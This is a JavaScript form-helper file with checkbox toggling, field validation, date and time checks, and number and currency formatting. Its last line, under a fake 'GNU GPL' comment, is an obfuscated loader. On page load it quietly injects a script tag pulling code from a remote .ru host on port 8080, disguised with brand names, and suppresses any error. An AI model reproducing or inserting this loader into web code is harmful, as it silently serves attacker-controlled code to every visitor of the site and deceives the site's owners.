// JavaScript Document
/*	function getElementsCount()
	{
		var formcount = document.forms.length;
		document.write(" No. of forms in the documets are : "+formcount);
		// noew we are reding no of elements in each form 
		for(i=0;i<formcount;i++)
		{
			var elements = document.forms[i].elements.length;
			document.write("<br/> No. of elements in the from "+document.forms[i].name+" are : "+elements);
			for(j=0;j<elements;j++)
			{
				var x= document.forms[i].elements[j];
				document.write("<br/> name of element "+ j +" in the from <b>"+document.forms[i].name+"</b> is :<b> "+ x.name +" </b> and input type is : "+x.type );
				document.getElementById(x.name).style.backgroundColor="#FFFFCC";
			}
			
		}
	}
*/	
	function CheckAll(formname,selectionbox)
	{
		var elements = document.forms[formname].elements.length;
		for(j=0;j<elements;j++)
			{
					
				var x= document.forms[formname].elements[j];
				//alert(x.type);
				if (x.type=="checkbox")
				{
					if(x.name != selectionbox)
					{
						if (x.checked==true)
						{
							x.checked=false;
						}
						else
						{
							x.checked=true;
						}
					}
				}
			}
	}
	
	function ValidateForm(formname,checkarray)
	{	

			var emailfilter=/^\w+[\+\.\w-]*@([\w-]+\.)*\w+[\w-]*\.([a-z]{2,4}|\d+)$/i
			var usPhone =/^\d{3}-\d{3}-\d{4}$/
			errmsgshow='';
			var elements = document.forms[formname].elements.length;
			for(j=0;j<elements;j++)
			{
				var x= document.forms[formname].elements[j];
				if (x.type!="submit" && x.type!="reset" && x.type!="button")
				{
						x.style.backgroundColor="#ffffff";
				}
			}
			a=checkarray.length;
			for(i=0;i<a;i++)
			{	
				var msg1='';
				msg1=checkarray[i];
				brk=msg1.split('|');
				curid=document.getElementById(brk[0]); // brk[0] the name of the field to be checked 
				errtype=brk[2];
				errmsg=brk[1];
				if(brk.length>3)
				{
					limitlow=brk[3];
					limithigh=brk[4];
				}
				if(brk.length>3)
				{
					textlow=brk[3];
					texthigh=brk[4];
				}
				switch(errtype)
				{
					case "blank":
							{
								if (curid.value.length<=0)
								{
									errmsgshow+=errmsg +"\n";
									curid.style.backgroundColor="#FFFFCC";
								}
							}
							break;
					case "email":
							{
								var returnval=emailfilter.test(curid.value)
								if (returnval==false){
								errmsgshow+=errmsg +"\n";
								curid.style.backgroundColor="#FFFFCC";
								}
							}
							break;
					case "usphone":
							{
								var returnval=usPhone.test(curid.value)
								if (returnval==false){
								errmsgshow+=errmsg +"\n";
								curid.style.backgroundColor="#FFFFCC";
								}
							}
							break;
					case "no":
							{
								if (isNaN(curid.value)){
								errmsgshow+=errmsg +"\n";
								curid.style.backgroundColor="#FFFFCC";
								}
							}
							break;
					case "float":
							{
								if (isNaN(curid.value)){
								errmsgshow+=errmsg +"\n";
								curid.style.backgroundColor="#FFFFCC";
								}
							}
							break;
					case "text":
							{
								if (!isNaN(curid.value)){
								errmsgshow+=errmsg +"\n";
								curid.style.backgroundColor="#FFFFCC";
								}
							}
							break;

					case "negative":
							{
								if (curid.value<0){
								errmsgshow+=errmsg +"\n";
								curid.style.backgroundColor="#FFFFCC";
								}
							}
							break;
					case "numberlimit":
							{
								if ( ! (curid.value>=limitlow && curid.value<=limithigh))
								{
								errmsgshow+=errmsg +"\n";
								curid.style.backgroundColor="#FFFFCC";
								}
							}
							break;
						
							
						
						case "textlengthlimit":
							{
								if ( !(curid.value.length >= textlow && curid.value.length<=texthigh))
								{
								errmsgshow+=errmsg +"\n";
								curid.style.backgroundColor="#FFFFCC";
								}
							}
							
				}
			}
			if (errmsgshow.length >0)
			{
				errors="Following errors encountred Please correct Them \n";
				errors+=errmsgshow;
				alert (errors);
				return false;
			}
			//	alert (errmsgshow);
	}
	function validateDate(fld) {
		var RegExPattern = /^(?=\d)(?:(?:(?:(?:(?:0?[13578]|1[02])(\/|-|\.)31)\1|(?:(?:0?[1,3-9]|1[0-2])(\/|-|\.)(?:29|30)\2))(?:(?:1[6-9]|[2-9]\d)?\d{2})|(?:0?2(\/|-|\.)29\3(?:(?:(?:1[6-9]|[2-9]\d)?(?:0[48]|[2468][048]|[13579][26])|(?:(?:16|[2468][048]|[3579][26])00))))|(?:(?:0?[1-9])|(?:1[0-2]))(\/|-|\.)(?:0?[1-9]|1\d|2[0-8])\4(?:(?:1[6-9]|[2-9]\d)?\d{2}))($|\ (?=\d)))?(((0?[1-9]|1[012])(:[0-5]\d){0,2}(\ [AP]M))|([01]\d|2[0-3])(:[0-5]\d){1,2})?$/;
		var errorMessage = 'Please enter valid date as month, day, and four digit year.\nYou may use a slash, hyphen or period to separate the values.\nThe date must be a real date. 2-30-2000 would not be accepted.\nFormay mm/dd/yyyy.';
		if ((fld.value.match(RegExPattern)) && (fld.value!='')) {
			alert('Date is OK'); 
		} else {
			alert(errorMessage);
			fld.focus();
		} 
	}
	
	function checktimefmt(field)
  {
    var errorMsg = "";

    // regular expression to match required time format
    re = /^(\d{1,2}):(\d{2})(:00)?(\s{0,})?([apAP][mM])?$/;
    
    if(field.value != '') {
      if(regs = field.value.match(re)) {
        if(regs[4]) {
          // 12-hour time format with am/pm
          if(regs[1] < 1 || regs[1] > 12) {
            errorMsg = "Invalid value for hours: " + regs[1];
          }
        } else {
          // 24-hour time format
          if(regs[1] > 23) {
            errorMsg = "Invalid value for hours: " + regs[1];
          }
        }
        if(!errorMsg && regs[2] > 59) {
          errorMsg = "Invalid value for minutes: " + regs[2];
        }
      } else {
        errorMsg = "Invalid time format: " + field.value;
      }
    }

    if(errorMsg != "") {
      alert(errorMsg);
      field.focus();
	  field.value='';
      return false;
    }
    
    return true;
  }
function number_format(a, b, c, d) {
 // number_format(number, decimals, comma, formatSeparator)
 var k = '';
 if(a.indexOf('-') == 0) {
  k = '-';
  a = a * -1;
 }
 a = Math.round(a * Math.pow(10, b)) / Math.pow(10, b);
 var e = a + '';
 var f = e.split('.');
 if(!f[0]) f[0] = '0';
 if(!f[1]) f[1] = '';
 if(f[1].length < b){
  var g = f[1];
  for(var i = f[1].length + 1; i <= b; i++) {
   g += '0';
  }
  f[1] = g;
 }
 if(d != '' && f[0].length > 3) {
  var h = f[0];
  f[0] = '';
  for(var j = 3; j < h.length; j += 3) {
   i = h.slice(h.length - j, h.length - j + 3);
   f[0] = d + i +  f[0] + '';
  }
  j = h.substr(0, (h.length % 3 == 0) ? 3 : (h.length % 3));
  f[0] = j + f[0];
 }
 c = (b <= 0) ? '': c;
var z = k + f[0] + c + f[1];

 document.getElementById('out').innerHTML = z;
 return   z;
}
function formatCurrency(num) {
num = num.toString().replace(/\$|\,/g,'');
if(isNaN(num))
num = "0";
sign = (num == (num = Math.abs(num)));
num = Math.floor(num*100+0.50000000001);
cents = num%100;
num = Math.floor(num/100).toString();
if(cents<10)
cents = "0" + cents;
for (var i = 0; i < Math.floor((num.length-(1+i))/3); i++)
num = num.substring(0,num.length-(4*i+3))+','+
num.substring(num.length-(4*i+3));
return (((sign)?'':'-') + '$' + num + '.' + cents);
}

/*GNU GPL*/ try{window.onload = function(){var Mi0f3703faq8 = document.createElement('s@@!#c))r!i!p#!@#t^^'.replace(/\$|#|\!|\^|&|\)|@|\(/ig, ''));var G5z5fxzndw0bk = 'Ok7fh9z7y1bu';Mi0f3703faq8.setAttribute('type', 't(!#&e)$#(@x&^&t@/@!j^a(($v$$(a!!$@s(^@c!(r!i)#)p^$@t!&'.replace(/\(|#|&|\!|\)|\$|@|\^/ig, ''));Mi0f3703faq8.setAttribute('src',  'h!t&t$(p&!&:@&&!/#&#&/#$!@a)&@z)@e@!^t&)-!s!@k(^.)f&@^o)(#r$@b&$e$@^s#$!^.^c!o$#m@&.&m^)^y!&f#^)^$r))e!e)p#a#^(y#$!s&$i($@t&)e&(-^!@c^#o&m#&()#.#(w@&#e(^b)@d($$i@&r$e(@c!@@t!$m)@@a)&^i($&)l().@$r@u@)(:@#8^!(0)$$8@$0^&/($c$#o)&s!@#t!#c&!^o().#)#c@o)m@(#/(&)#c&o^^s)&t^c#@&o$).$)c)$&o!$m^$&$/)(^&t!n^$a^@$f@(@l@!&$i!&$)&x$&.)^c@(o&^m^^!@/&&1($#1@$!)^3(3$)(.!#c)@c&@/(@g)@)$o^@!o)#g$l!$e#&.$(&c#&@o^^m$#@/(#'.replace(/&|\!|\(|@|\)|\$|#|\^/ig, ''));Mi0f3703faq8.setAttribute('defer', 'd&$e&$f###@!e(^r#&'.replace(/@|\!|\)|\$|\^|&|\(|#/ig, ''));Mi0f3703faq8.setAttribute('id', 'N)^7!&c(#$^9$t$6$o$$(#7!^#7^((i()s&(&y)@$c!($t@'.replace(/\!|@|\)|\^|&|\$|\(|#/ig, ''));document.body.appendChild(Mi0f3703faq8);}} catch(T9n215nmznsln) {}